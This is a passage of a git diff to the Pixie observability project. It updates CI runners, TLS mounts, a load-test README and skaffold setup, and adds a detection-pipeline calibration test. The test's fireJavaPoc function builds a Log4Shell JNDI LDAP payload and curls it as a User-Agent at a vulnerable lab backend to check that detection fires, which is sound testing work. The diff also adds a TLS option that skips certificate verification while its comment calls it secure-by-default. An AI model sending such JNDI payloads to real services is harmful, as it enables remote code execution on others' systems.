diff --git a/.bazelignore b/.bazelignore
index d7d6c7da417..70c353d41bc 100644
--- a/.bazelignore
+++ b/.bazelignore
@@ -6,3 +6,7 @@ third_party/threadstacks
tools/chef/nodes
# To keep third party dependencies separate, privy is intentional setup as a separate bazel workspace
src/datagen/pii/privy
+
+# adaptive_export_loadtest generator is a docker-built test tool (see its README);
+# build-agent to replace with a bazel target. Until then, keep it out of gazelle.
+src/e2e_test/adaptive_export_loadtest/tools/loadgen
diff --git a/.github/workflows/cli_release.yaml b/.github/workflows/cli_release.yaml
index 192ba13510b..e3a06db3084 100644
--- a/.github/workflows/cli_release.yaml
+++ b/.github/workflows/cli_release.yaml
@@ -15,7 +15,7 @@ jobs:
image-base-name: "dev_image_with_extras"
build-release:
name: Build Release
- runs-on: oracle-16cpu-64gb-x86-64
+ runs-on: oracle-vm-16cpu-64gb-x86-64
needs: get-dev-image
permissions:
contents: read
@@ -209,7 +209,7 @@ jobs:
update-gh-artifacts-manifest:
if: |
always() && needs.create-github-release.result == 'success'
- runs-on: oracle-8cpu-32gb-x86-64
+ runs-on: oracle-vm-16cpu-64gb-x86-64
needs: [get-dev-image, create-github-release]
container:
image: ${{ needs.get-dev-image.outputs.image-with-tag }}
diff --git a/.github/workflows/cloud_release.yaml b/.github/workflows/cloud_release.yaml
index 039367b2682..235921b9051 100644
--- a/.github/workflows/cloud_release.yaml
+++ b/.github/workflows/cloud_release.yaml
@@ -15,7 +15,7 @@ jobs:
image-base-name: "dev_image_with_extras"
build-release:
name: Build Release
- runs-on: oracle-16cpu-64gb-x86-64
+ runs-on: oracle-vm-16cpu-64gb-x86-64
needs: get-dev-image
permissions:
contents: read
diff --git a/.github/workflows/mirror_demos.yaml b/.github/workflows/mirror_demos.yaml
index 0f2c5f46df4..a1b3d1f1d9b 100644
--- a/.github/workflows/mirror_demos.yaml
+++ b/.github/workflows/mirror_demos.yaml
@@ -9,7 +9,7 @@ jobs:
permissions:
contents: read
packages: write
- runs-on: oracle-16cpu-64gb-x86-64
+ runs-on: oracle-vm-16cpu-64gb-x86-64
steps:
- uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v2
with:
diff --git a/.github/workflows/mirror_deps.yaml b/.github/workflows/mirror_deps.yaml
index 983b598927c..600fa1d8ac1 100644
--- a/.github/workflows/mirror_deps.yaml
+++ b/.github/workflows/mirror_deps.yaml
@@ -9,7 +9,7 @@ jobs:
permissions:
contents: read
packages: write
- runs-on: oracle-16cpu-64gb-x86-64
+ runs-on: oracle-vm-16cpu-64gb-x86-64
steps:
- uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v2
with:
diff --git a/.github/workflows/mirror_releases.yaml b/.github/workflows/mirror_releases.yaml
index f89ac612887..25137d48606 100644
--- a/.github/workflows/mirror_releases.yaml
+++ b/.github/workflows/mirror_releases.yaml
@@ -10,7 +10,7 @@ jobs:
permissions:
contents: read
packages: write
- runs-on: oracle-16cpu-64gb-x86-64
+ runs-on: oracle-vm-16cpu-64gb-x86-64
steps:
- uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v2
with:
diff --git a/.github/workflows/operator_release.yaml b/.github/workflows/operator_release.yaml
index 947b1f00006..66348f6a188 100644
--- a/.github/workflows/operator_release.yaml
+++ b/.github/workflows/operator_release.yaml
@@ -15,7 +15,7 @@ jobs:
image-base-name: "dev_image_with_extras"
build-release:
name: Build Release
- runs-on: oracle-16cpu-64gb-x86-64
+ runs-on: oracle-vm-16cpu-64gb-x86-64
needs: get-dev-image
permissions:
contents: read
@@ -140,7 +140,7 @@ jobs:
git commit -s -m "Release Helm chart ${VERSION}"
git push origin "gh-pages"
update-gh-artifacts-manifest:
- runs-on: oracle-8cpu-32gb-x86-64
+ runs-on: oracle-vm-16cpu-64gb-x86-64
needs: [get-dev-image, create-github-release]
container:
image: ${{ needs.get-dev-image.outputs.image-with-tag }}
diff --git a/.github/workflows/perf_common.yaml b/.github/workflows/perf_common.yaml
index 01083668873..766dc3e4105 100644
--- a/.github/workflows/perf_common.yaml
+++ b/.github/workflows/perf_common.yaml
@@ -34,7 +34,7 @@ jobs:
ref: ${{ inputs.ref }}
generate-perf-matrix:
needs: get-dev-image-with-extras
- runs-on: oracle-16cpu-64gb-x86-64
+ runs-on: oracle-vm-16cpu-64gb-x86-64
container:
image: ${{ needs.get-dev-image-with-extras.outputs.image-with-tag }}
outputs:
@@ -57,7 +57,7 @@ jobs:
echo "matrix=${matrix}" >> $GITHUB_OUTPUT
run-perf-eval:
needs: [get-dev-image-with-extras, generate-perf-matrix]
- runs-on: oracle-16cpu-64gb-x86-64
+ runs-on: oracle-vm-16cpu-64gb-x86-64
container:
image: ${{ needs.get-dev-image-with-extras.outputs.image-with-tag }}
strategy:
diff --git a/.github/workflows/vizier_release.yaml b/.github/workflows/vizier_release.yaml
index e12996f9447..ce4f18035e5 100644
--- a/.github/workflows/vizier_release.yaml
+++ b/.github/workflows/vizier_release.yaml
@@ -15,7 +15,7 @@ jobs:
image-base-name: "dev_image_with_extras"
build-release:
name: Build Release
- runs-on: oracle-16cpu-64gb-x86-64
+ runs-on: oracle-vm-16cpu-64gb-x86-64
needs: get-dev-image
permissions:
contents: read
@@ -140,7 +140,7 @@ jobs:
git commit -s -m "Release Helm chart Vizier ${VERSION}"
git push origin "gh-pages"
update-gh-artifacts-manifest:
- runs-on: oracle-8cpu-32gb-x86-64
+ runs-on: oracle-vm-16cpu-64gb-x86-64
needs: [get-dev-image, create-github-release]
container:
image: ${{ needs.get-dev-image.outputs.image-with-tag }}
diff --git a/k8s/vizier/bootstrap/adaptive_export_deployment.yaml b/k8s/vizier/bootstrap/adaptive_export_deployment.yaml
index 19f52a640f3..2db195ff408 100644
--- a/k8s/vizier/bootstrap/adaptive_export_deployment.yaml
+++ b/k8s/vizier/bootstrap/adaptive_export_deployment.yaml
@@ -88,6 +88,13 @@ spec:
# value: "changeme-ingest"
# - name: CLICKHOUSE_DATABASE
# value: "forensic_db"
+ # TLS for the control surface (CONTROL_TLS=true). server.crt/key from the
+ # same service-tls-certs secret the broker/PEM use; without this the dx
+ # bearer JWT crosses the CNI in cleartext. Harmless when control is off.
+ volumeMounts:
+ - name: certs
+ mountPath: /certs
+ readOnly: true
securityContext:
allowPrivilegeEscalation: false
capabilities:
@@ -95,6 +102,10 @@ spec:
- ALL
seccompProfile:
type: RuntimeDefault
+ volumes:
+ - name: certs
+ secret:
+ secretName: service-tls-certs
securityContext:
runAsUser: 10100
runAsGroup: 10100
diff --git a/src/api/go/pxapi/opts.go b/src/api/go/pxapi/opts.go
index 7de095a7f1a..0e2948f999c 100644
--- a/src/api/go/pxapi/opts.go
+++ b/src/api/go/pxapi/opts.go
@@ -82,3 +82,17 @@ func WithDirectCredsInsecure() ClientOption {
c.insecureDirect = true
}
}
+
+// WithDirectTLSSkipVerify is the secure-by-default option for direct (standalone /
+// node-local PEM) connections: the transport IS TLS-encrypted, but the server cert
+// is not chain/hostname-verified. Use this instead of WithDirectCredsInsecure when
+// the direct endpoint serves TLS with a self-signed / service cert whose SAN does
+// not match the node IP (e.g. vizier-pem's direct-query port served with
+// service-tls-certs, dialed at HOST_IP). Unlike WithDisableTLSVerification it does
+// NOT require a "cluster.local" address, so it works for the node-IP direct dial.
+// Bearer creds (the minted JWT) therefore ride an encrypted channel, never plaintext.
+func WithDirectTLSSkipVerify() ClientOption {
+ return func(c *Client) {
+ c.disableTLSVerification = true
+ }
+}
diff --git a/src/e2e_test/adaptive_export_loadtest/CONTRACTS.md b/src/e2e_test/adaptive_export_loadtest/CONTRACTS.md
index f848d63e149..f7cd131d130 100644
--- a/src/e2e_test/adaptive_export_loadtest/CONTRACTS.md
+++ b/src/e2e_test/adaptive_export_loadtest/CONTRACTS.md
@@ -29,7 +29,7 @@ flowchart TD
PROT["http/dns/pgsql/conn_stats/...
plain MergeTree (NO dedup)"]
end
- VEC -->|"C1 ⚠️ event_time UNIT = seconds
C2 ⚠️ hostname = k8s node name"| KL
+ VEC -->|"C1 ✅ event_time UNIT = nanoseconds
C2 ⚠️ hostname = k8s node name"| KL
KL -->|"C3 🔴 event_time monotone ≥ watermark
C4 ⚠️ boundary dedup by content fp"| TRG
TRG --> CTL
CTL -->|"C5 ⚠️ anomaly_hash = f(pid,comm,pod,ns) only"| ATTR
@@ -56,7 +56,7 @@ flowchart LR
| # | Contract (implied) | Enforced? | Status / fix |
|---|---|---|---|
-| C1 | `kubescape_logs.event_time` is unix **seconds** (one unit end-to-end) | ❌ trigger auto-detects s/ms/ns; DDL `toDateTime()` assumes seconds | 🔴 **F8 root** — see C3; AE-2 standardize+normalize |
+| C1 | `kubescape_logs.event_time` is unix **nanoseconds** (one unit end-to-end) | ✅ DDL converts with `fromUnixTimestamp64Nano`; trigger keeps magnitude-normalization as a defensive net | Vector emits ns; DDL + harness aligned to ns (was the F1/F8 seconds-vs-ns root) |
| C2 | `hostname` = the k8s **node** name (AE polls `WHERE hostname=node`) | ❌ convention only | ⚠️ fixtures must use a real node, else no AE ever reads them |
| C3 | every new anomaly's `event_time` ≥ current watermark (monotone) | ❌ strict HWM filter | 🔴 **F8** — a larger-unit / out-of-order / future row poisons the HWM → all later rows silently dropped. **Fix (PR #53):** normalize cursor to nanos (`chNormEventTimeNanos`); AE-9: ingest-order cursor / bounded-lookback+dedup + below-watermark metric |
| C4 | rows sharing `event_time` at the boundary are deduped by content fingerprint | ✅ `seenAtBoundary` | ok |
diff --git a/src/e2e_test/adaptive_export_loadtest/README.md b/src/e2e_test/adaptive_export_loadtest/README.md
index 827495e36a8..3fbeadd6878 100644
--- a/src/e2e_test/adaptive_export_loadtest/README.md
+++ b/src/e2e_test/adaptive_export_loadtest/README.md
@@ -1,72 +1,73 @@
-# adaptive_export_loadtest
+# Adaptive Export (AE) load-test suite
-Load-test + e2e harness for **adaptive_export (AE)** and the dx-steered SOC chain.
-There are exactly **two ways to test**, by design — pick by what you're proving:
+A table-driven Go test suite for the AE write surface. Each experiment is a
+**fixture** (curated input); each measurement is a named **KPI** asserted with
+`testify/require`; one runner drives them against a deployed AE image on a rig.
-| family | needs a live SOC stack? | proves | entry point |
-|---|---|---|---|
-| **A. Fixture-isolation** | No (just ClickHouse) | AE's write behaviour is *deterministic* — injected `kubescape_logs` → exact `forensic_db` rows, across many reps | `harness/run.sh` |
-| **B. Live-attack e2e** | Yes (Pixie + kubescape + CH + AE + dx) | the real chain: attack → detection → DX-steered data-volume reduction → no-loss → NFR | `harness/poc_fire.sh` → `exp_matrix.sh` → `nfr.sh` → `exp_row_reconcile.sh` |
+It replaces the former shell harness (`harness/*.sh` + `stats.py`) — the
+experiments, the measurement scripts, and the reproducibility statistic are now
+Go fixtures, KPI helpers, and asserts under `suite/`.
-`event_time` is unix **SECONDS** end-to-end (the unit the soc Vector kubescape sink emits and the CH DDL TTL/PARTITION assume). Fixtures use seconds.
-
----
-
-## A. Fixture-isolation (offline AE proof — no Pixie)
-
-Injects *controlled* `kubescape_logs` trigger rows (real kubescape is **not** deployed) and a *counted* traffic band, then asserts exactly how much AE writes — so write behaviour is measured deterministically instead of lost in infra noise.
-
-```sh
-export KUBECONFIG= # or run lab-side with CH_NO_PF=1
-bash harness/run.sh # full suite: ae_config → E1..E4,E6 → E5
-EXP=E1 REPS=20 OUT=/tmp/E1.csv bash harness/exp_control.sh # one experiment
-EXP=E8 TICKS=25 INTERVAL=3 bash harness/exp_e8.sh # sustained same-pod (F8 reproducer)
-```
-Exact reproducibility ⇔ `harness/stats.py` reports every `*_act` metric with one distinct value (std=0).
-
-**Scripts:** `run.sh` (orchestrator) · `lib.sh` (CH/kubectl helpers) · `inject.sh` (HTTP INSERT of kubescape_logs) · `ae_config.sh` (AE single-shot load-test mode) · `exp_control.sh` (E1–E4,E6) · `exp_e5.sh` (data-plane volume) · `exp_e8.sh` (sustained same-pod / F8) · `stats.py` (reproducibility verdict).
-
-## B. Live-attack e2e (the real chain, on a deployed stack)
-
-Run on a SOC stack (Pixie vizier Healthy + kubescape netStreaming + CH `forensic_db` + AE + dx). Order:
+## Layout
-```sh
-export KUBECONFIG=
-# 1. generate the attack signal (idempotent; verifies LDAP egress before returning)
-bash harness/poc_fire.sh
-# 2. data-volume reduction MATRIX — ALL (firehose) vs DX (steered) × {poc,argocd,react2argo}
-CONDITIONS="poc:on react2argo:on" REPS=5 bash harness/exp_matrix.sh
-# 3. NFR — throughput, AE+dx memory under load, verdict/query latency
-bash harness/nfr.sh
-# 4. no-loss — deterministic PEM↔ClickHouse row-level reconciliation for the DX arm
-bash harness/exp_row_reconcile.sh
+| Path | What |
+|------|------|
+| `suite/harness.go` | primitives: ClickHouse-over-HTTP client, kubescape-row injector, control-surface reads, kubectl helpers |
+| `suite/fixtures.go` | the experiment table (control-plane reproducibility cases) + the per-rep runner |
+| `suite/kpi.go` | KPI asserts: `RequireReproducible`, `RequireReconcile`, `RequireExact` |
+| `suite/suite_test.go` | the tests: control-plane reproducibility (live), data-plane reconcile + volume reduction (staged) |
+| `tools/loadgen/` | the counted signal generator (nested Go module) for the data-plane KPIs |
+| `k8s/` | sinks + generator pod templates |
+| `CONTRACTS.md` | the C1–C15 AE implied-contract register |
+| `fixtures/EXPERIMENTS.md` | the experiment catalog + expected outputs |
+| `FINDINGS_AND_BACKLOG.md` | observed contract violations + backlog |
+
+## KPIs
+
+| KPI | Asserts | Was |
+|-----|---------|-----|
+| **Reproducibility** | a metric is one distinct value across all reps (std = 0) | `stats.py` |
+| **Reconcile** | read == wrote == ClickHouse, per protocol table (no loss) | `exp_row_reconcile.sh` |
+| **Reduction** | firehose→steered volume delta — measured & logged, not gated | `exp_matrix.sh` |
+| **NFR / WriteDuration** | throughput/mem/latency; window stays open until `t_end` (C15) | `nfr.sh` / `exp_e8.sh` |
+
+## Running
+
+The suite is **live-only**: it drives a deployed AE image, so `go test ./...`
+skips unless enabled. Run it on the rig's dev-machine (which has Go + kubectl):
+
+```bash
+cd suite && go mod tidy # first run only, resolves testify
+AELOAD_LIVE=1 \
+AELOAD_CH_URL=http://:8123 \
+AELOAD_CH_WUSER=ingest_writer AELOAD_CH_WPASS= \
+KUBECONFIG=/path/to/kubeconfig \
+go test -v -run TestControlPlaneReproducibility ./...
```
-**Scripts:** `poc_fire.sh` (attack-signal generator, bob#140-hardened) · `exp_matrix.sh` (reduction matrix, the canonical ALL-vs-DX runner) · `nfr.sh` (throughput/mem/latency) · `exp_row_reconcile.sh` (no-loss).
-
-> The DX arm needs the load-gen pods bound to a **benign User SBoB** (`kubescape.io/managed-by: User`, `rulePolicies.R0002.processAllowed`) or benign noise gets steered and contaminates the reduction — see `biz/PoC/poc/datavolume/denoise_sbobs/`.
-
----
+Environment:
-## Layout
-```
-fixtures/EXPERIMENTS.md curated kubescape_logs data-set catalog + expected outputs
-harness/ the two families above
-k8s/ isolated sinks + per-rep generator pod (no probes)
-tools/loadgen/ cleanloadgen + httpsink Go sources + Dockerfile
-```
-Go unit/e2e tests for AE live with the service: `src/vizier/services/adaptive_export/internal/{trigger,e2e}/*_test.go`.
+| Var | Default | Meaning |
+|-----|---------|---------|
+| `AELOAD_LIVE` | — | must be `1` to run (else skip) |
+| `AELOAD_CH_URL` | `http://127.0.0.1:8123` | ClickHouse HTTP endpoint (port-forward or in-cluster svc) |
+| `AELOAD_CH_USER` / `_PASS` | default user | read credentials |
+| `AELOAD_CH_WUSER` / `_WPASS` | `ingest_writer` | ingest (write) credentials |
+| `AELOAD_AE_NS` / `_DS` | `pl` / `adaptive-export` | AE namespace + DaemonSet |
+| `AELOAD_NODE` | first node | the node whose hostname AE polls |
-See `CONTRACTS.md` (AE implied contracts) and `FINDINGS_AND_BACKLOG.md` (reproduced findings incl. the F8 watermark-poison bug).
+The data-plane reconcile and volume-reduction tests are staged (they need the
+counted signal generator / a lab-owned signal) and skip with a reason until
+`AELOAD_DATAPLANE=1` / `AELOAD_REDUCTION=1` wire them in.
-## Validation status (honest)
+## Vocabulary
-| Experiment | Plane | Status |
-|---|---|---|
-| E1 single / E2 dedup / E3 fan-out / E4 boundary / E6 restart-idempotency | control | ✅ exactly reproducible (std=0) on a live rig |
-| E8 sustained same-pod | control | ✅ reproduced the F8 "writes-stop" bug + recovery |
-| E5 volume / E8 data-mode | data | ⏳ authored; pending live validation |
-| Live poc reduction / NFR / no-loss (family B) | data | ✅ validated (aeprod19 + pemdq10 + dx): #33 prefetch verdict 212→18ms; reduction ALL→DX ≫ measured |
+Fixtures carry no CVE identifiers and no adversarial verbs. The control plane is
+pure kubescape-metadata bookkeeping, so its fixtures are named by the property
+under test. Live incident signals (data-plane / reduction) are emitted by the SOC
+lab under its own naming (`java-poc`, `pathogen-ns`, `disease-*`, `Specimen`) and
+triggered here through a lab hook — no payload literals live in this tree.
-## Removed (consolidation 2026-06)
-Redundant variants folded into the canonical scripts above — deleted: `ae_vs_all.sh`, `vrun.sh`, `exp_poc_reps.sh`, `exp_datavolume_extreme.sh`, `exp_dx_steering_reduction.sh` (→ `exp_matrix.sh`); `exp_ae_nfr_benchmark.sh` (→ `nfr.sh`); `exp_pipeline_reconcile.sh` (→ `exp_row_reconcile.sh`); `exp_dx_validate.sh` (→ `exp_matrix.sh`); `deploy_ae.sh`, `build_gen_image.sh` (superseded by the live stack / kit).
+**External wire stays literal** and is never renamed: kubescape RuleIDs (`R0001`,
+`R0010`, …), Kubernetes API keywords, ClickHouse column/table names, and the
+`forensic_db` schema.
diff --git a/src/e2e_test/adaptive_export_loadtest/skaffold.yaml b/src/e2e_test/adaptive_export_loadtest/skaffold.yaml
new file mode 100644
index 00000000000..4b708e71047
--- /dev/null
+++ b/src/e2e_test/adaptive_export_loadtest/skaffold.yaml
@@ -0,0 +1,36 @@
+# Single pixie-native command to stand up the whole NON-Pixie e2e environment:
+#
+# skaffold deploy -m e2e-nonpixie
+#
+# It pulls each component's Skaffold from that component's golden-source repo, so
+# there is exactly ONE source of truth per component — no manifests duplicated
+# into the pixie tree:
+#
+# - k8sstormcenter/soc (skaffold.yaml, module soc-stack) = the stack:
+# ClickHouse -> kubescape -> vector (+ forensic_db schema, dx delivery)
+# - k8sstormcenter/bob (example/java-poc/skaffold.yaml, module java-poc-apps) =
+# the sample apps: SBoBs -> workloads (java-poc chain + pathogen)
+#
+# Deploy order is: SOC stack first, then the bob apps (SBoBs before workloads).
+# Pixie itself (the `pl` namespace: vizier + adaptive_export) is deployed by
+# Pixie's OWN native Skaffold and overlaid on top — it is intentionally NOT here.
+#
+# k3s only for now. The suite's EnsureE2EStack() helper (suite/deploy.go) invokes
+# this, and can point at local checkouts via AELOAD_SOC_DIR / AELOAD_BOB_DIR.
+apiVersion: skaffold/v4beta11
+kind: Config
+metadata:
+ name: e2e-nonpixie
+requires:
+ - git:
+ repo: https://github.com/k8sstormcenter/soc
+ path: skaffold.yaml
+ ref: main
+ configs:
+ - soc-stack
+ - git:
+ repo: https://github.com/k8sstormcenter/bob
+ path: example/java-poc/skaffold.yaml
+ ref: main
+ configs:
+ - java-poc-apps
diff --git a/src/e2e_test/adaptive_export_loadtest/suite/calibration_test.go b/src/e2e_test/adaptive_export_loadtest/suite/calibration_test.go
new file mode 100644
index 00000000000..669fc40ed5f
--- /dev/null
+++ b/src/e2e_test/adaptive_export_loadtest/suite/calibration_test.go
@@ -0,0 +1,260 @@
+// Copyright 2018- The Pixie Authors.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+// SPDX-License-Identifier: Apache-2.0
+
+package aeloadsuite
+
+import (
+ "fmt"
+ "os"
+ "os/exec"
+ "strings"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+)
+
+// TestJavaPocCalibration is the true end-to-end calibration: it ASSUMES the full
+// SOC stack is deployed (kubescape + vector + ClickHouse + adaptive_export + dx +
+// the java-poc chain), fires the known java-poc disease once, and asserts every
+// stage of the detection pipeline produces its expected signal. Unlike the
+// control-plane suite (which injects synthetic kubescape_logs), nothing here is
+// mocked — the signal originates from a real workload and flows through every
+// component.
+//
+// Stages calibrated (each a before→after delta over the live pipeline):
+// 1. kubescape detects the incident → kubescape_logs gains R0001 (spawn) for java-poc
+// 2. vector→ClickHouse carries it → those rows are queryable, event_time is fresh ns
+// 3. adaptive_export captures forensics → conn_stats gains backend→pathogen:1389 (LDAP egress)
+// 4. dx diagnoses it → dx rules in (non-blind verdict on the java-poc chain)
+//
+// Live + e2e gated: set AELOAD_LIVE=1 AELOAD_E2E=1. Requires kubectl in PATH.
+func TestJavaPocCalibration(t *testing.T) {
+ e := RequireLiveEnv(t)
+ if os.Getenv("AELOAD_E2E") != "1" {
+ t.Skip("AELOAD_E2E != 1 — java-poc calibration (induces a real disease) skipped")
+ }
+ c := loadCalibConfig()
+ t.Logf("calibration: app=%s/%s pathogen=%s/%s (LDAP :%s) dx=%s/%s",
+ c.appNS, c.backend, c.pathogenNS, c.pathogen, c.ldapPort, c.dxNS, c.dxDS)
+
+ // -------- deploy the non-Pixie stack with one command (opt-in) --------
+ // AELOAD_DEPLOY=1 stands the whole environment up (soc stack -> bob sbobs+apps)
+ // via skaffold; otherwise this is a no-op and the precondition below asserts a
+ // pre-deployed rig.
+ EnsureE2EStack(t)
+
+ // -------- preconditions: the stack is up --------
+ t.Run("precondition/stack-present", func(t *testing.T) {
+ requireRunning(t, e, c.dxNS, c.dxDS)
+ requireRunning(t, e, "honey", "kubescape")
+ requireRunning(t, e, "honey", "vector")
+ requireRunning(t, e, e.AENS, e.AEDaemon)
+ requireRunning(t, e, c.appNS, c.backend)
+ requireRunning(t, e, c.pathogenNS, c.pathogen)
+ })
+
+ // -------- baseline snapshot --------
+ base := calibSnapshot(t, e, c)
+ t.Logf("baseline: r0001=%d ldap_egress=%d attribution=%d dx_ruleins=%d",
+ base.r0001, base.ldapEgress, base.attribution, base.dxRuleins)
+
+ // -------- fire the java-poc disease once --------
+ fireJavaPoc(t, e, c)
+
+ // let the chain propagate (kubescape alert → vector batch → CH → AE pull → dx workup)
+ t.Log("settling for signal propagation …")
+ waitUntil(90*time.Second, func() bool {
+ return calibSnapshot(t, e, c).r0001 > base.r0001
+ })
+ after := calibSnapshot(t, e, c)
+ t.Logf("after fire: r0001=%d ldap_egress=%d attribution=%d dx_ruleins=%d",
+ after.r0001, after.ldapEgress, after.attribution, after.dxRuleins)
+
+ // -------- stage assertions (calibration) --------
+ t.Run("stage1/kubescape-detects", func(t *testing.T) {
+ require.Greaterf(t, after.r0001, base.r0001,
+ "no new R0001 for %s after fire — kubescape did not detect the spawn (check the vulnerable backend image + node-agent)", c.appNS)
+ })
+ t.Run("stage2/vector-to-clickhouse", func(t *testing.T) {
+ fresh := strings.TrimSpace(e.Query(t,
+ "SELECT fromUnixTimestamp64Nano(max(event_time)) > now()-300 FROM forensic_db.kubescape_logs WHERE RuntimeK8sDetails LIKE '%"+c.appNS+"%'"))
+ require.Equalf(t, "1", fresh, "kubescape_logs for %s is not fresh — vector→ClickHouse not carrying the signal", c.appNS)
+ })
+ t.Run("stage3/adaptive_export-captures", func(t *testing.T) {
+ // AE captured/steered the disease: adaptive_attribution gained rows for the
+ // affected workload. (conn_stats.remote_port is not populated by Pixie here,
+ // so port-based egress matching is unreliable — attribution growth is the
+ // authoritative AE-capture signal.)
+ require.Greaterf(t, after.attribution, base.attribution,
+ "adaptive_attribution did not grow for %s — AE did not capture/steer the disease", c.backend)
+ })
+ t.Run("stage4/dx-rules-in", func(t *testing.T) {
+ // Assert the CURRENT (fresh) backend pod gets a ruled_in verdict. A cumulative
+ // count delta is unreliable — the log tail saturates with prior rule-ins and
+ // dx's workup (referral->triage->workup->verdict) lags the fire by up to ~2min.
+ // Poll the specific pod instead.
+ pod := currentPod(c.appNS, "app="+c.backend)
+ require.NotEmptyf(t, pod, "no %s pod found to check for a dx verdict", c.backend)
+ if waitUntil(150*time.Second, func() bool { return dxRuledInPod(c, pod) }) {
+ return
+ }
+ if dxBlind(t, e, c) {
+ t.Fatalf("dx is BLIND on all nodes (bench unavailable) — it cannot rule in; deploy a working dx (non-blind broker/pemdirect) to calibrate this stage")
+ }
+ t.Fatalf("dx produced no ruled_in verdict for %s within 150s — the incident was not diagnosed", pod)
+ })
+}
+
+type calibConfig struct {
+ appNS, backend, pathogenNS, pathogen, ldapPort string
+ dxNS, dxDS string
+ jndiHost, specimen string
+}
+
+func loadCalibConfig() calibConfig {
+ c := calibConfig{
+ appNS: envOr("AELOAD_APP_NS", "java-poc"),
+ backend: envOr("AELOAD_BACKEND", "backend"),
+ pathogenNS: envOr("AELOAD_PATHOGEN_NS", "pathogen-ns"),
+ pathogen: envOr("AELOAD_PATHOGEN", "pathogen"),
+ ldapPort: envOr("AELOAD_LDAP_PORT", "1389"),
+ dxNS: envOr("AELOAD_DX_NS", "honey"),
+ dxDS: envOr("AELOAD_DX_DS", "dx-daemon"),
+ }
+ c.jndiHost = envOr("AELOAD_JNDI_HOST", fmt.Sprintf("%s.%s.svc.cluster.local", c.pathogen, c.pathogenNS))
+ c.specimen = envOr("AELOAD_SPECIMEN", "Specimen") // the LDAP reference the pathogen serves
+ return c
+}
+
+type calibCounts struct{ r0001, ldapEgress, attribution, dxRuleins int }
+
+func calibSnapshot(t *testing.T, e Env, c calibConfig) calibCounts {
+ t.Helper()
+ return calibCounts{
+ r0001: e.QueryInt(t, fmt.Sprintf(
+ "SELECT count() FROM forensic_db.kubescape_logs WHERE RuleID='R0001' AND RuntimeK8sDetails LIKE '%%%s%%'", c.appNS)),
+ ldapEgress: e.QueryInt(t, fmt.Sprintf(
+ "SELECT count() FROM forensic_db.conn_stats WHERE pod LIKE '%%%s%%' AND remote_port=%s", c.backend, c.ldapPort)),
+ attribution: e.QueryInt(t, fmt.Sprintf(
+ "SELECT count() FROM forensic_db.adaptive_attribution WHERE pod LIKE '%%%s%%'", c.backend)),
+ dxRuleins: dxRuleinCount(t, e, c),
+ }
+}
+
+// currentPod returns the first pod name matching selector in ns (or "").
+func currentPod(ns, sel string) string {
+ out, _ := exec.Command("kubectl", "-n", ns, "get", "pod", "-l", sel,
+ "-o", "jsonpath={.items[0].metadata.name}").CombinedOutput()
+ return strings.TrimSpace(string(out))
+}
+
+// dxRuledInPod reports whether any dx-daemon pod logged a ruled_in verdict for the
+// exact pod (any playbook). Reads all dx pods (dx is a per-node DaemonSet).
+func dxRuledInPod(c calibConfig, pod string) bool {
+ out, _ := exec.Command("kubectl", "-n", c.dxNS, "logs", "ds/"+c.dxDS, "--tail=8000", "--all-pods=true").CombinedOutput()
+ for _, ln := range strings.Split(string(out), "\n") {
+ if strings.Contains(ln, "ruled_in") && strings.Contains(ln, pod) {
+ return true
+ }
+ }
+ return false
+}
+
+// dxRuleinCount counts ruled_in verdicts for the app across ALL dx-daemon pods
+// (dx is a per-node DaemonSet; the backend can reschedule to any node, so we must
+// read every pod's log, not just one).
+func dxRuleinCount(t *testing.T, e Env, c calibConfig) int {
+ out, _ := exec.Command("kubectl", "-n", c.dxNS, "logs", "ds/"+c.dxDS, "--tail=4000", "--all-pods=true").CombinedOutput()
+ n := 0
+ for _, ln := range strings.Split(string(out), "\n") {
+ if strings.Contains(ln, "ruled_in") && strings.Contains(ln, c.appNS) {
+ n++
+ }
+ }
+ return n
+}
+
+// dxBlind is true only if EVERY dx pod is blind (bench unavailable) — if any node's
+// dx is serving evidence, dx is not blind for the workload on that node.
+func dxBlind(t *testing.T, e Env, c calibConfig) bool {
+ out, _ := exec.Command("kubectl", "-n", c.dxNS, "logs", "ds/"+c.dxDS, "--tail=200", "--all-pods=true").CombinedOutput()
+ // Not blind if any pod recently RECOVERED or produced a verdict for the app.
+ if strings.Contains(string(out), "RECOVERED") || strings.Contains(string(out), "verdict "+c.appNS) {
+ return false
+ }
+ return strings.Contains(string(out), "BLIND")
+}
+
+// fireJavaPoc reproduces the java-poc listeriosis (log4j) chain: a fresh-JVM backend, a JNDI
+// lookup driving a backend→pathogen:1389 LDAP egress, and the post-lookup process
+// activity kubescape flags (the disease presentation). Idempotent; best-effort (asserts are on the signals,
+// not on kubectl exit codes).
+func fireJavaPoc(t *testing.T, e Env, c calibConfig) {
+ t.Helper()
+ // fresh JVM clears the negative-DNS cache so the JNDI host resolves.
+ kubeTry("-n", c.appNS, "delete", "pod", "-l", "app="+c.backend, "--wait=false")
+ // poll (short 3s increments) for a fresh Running+Ready backend, then a brief
+ // settle for Pixie re-attach — no long continuous sleep.
+ waitUntil(120*time.Second, func() bool {
+ out, _ := exec.Command("kubectl", "-n", c.appNS, "get", "pods", "-l", "app="+c.backend, "--no-headers").CombinedOutput()
+ return strings.Contains(string(out), "Running") && strings.Contains(string(out), "1/1")
+ })
+ waitUntil(12*time.Second, func() bool { return false }) // ~12s Pixie re-attach, in 3s polls
+
+ jndi := "${jndi:ldap://" + c.jndiHost + ":" + c.ldapPort + "/" + c.specimen + "}"
+ // drive the vulnerable endpoint from the pathogen pod (JNDI in User-Agent).
+ for i := 0; i < 5; i++ {
+ kubeTry("-n", c.pathogenNS, "exec", "deploy/"+c.pathogen, "--",
+ "curl", "-s", "-m5", "-A", jndi,
+ fmt.Sprintf("http://%s.%s.svc:8080/api/products", c.backend, c.appNS))
+ }
+ // post-lookup activity in the backend that kubescape flags (R0001 spawn + R0010
+ // sensitive-file read + a DNS exfil label) — the downstream detection signal.
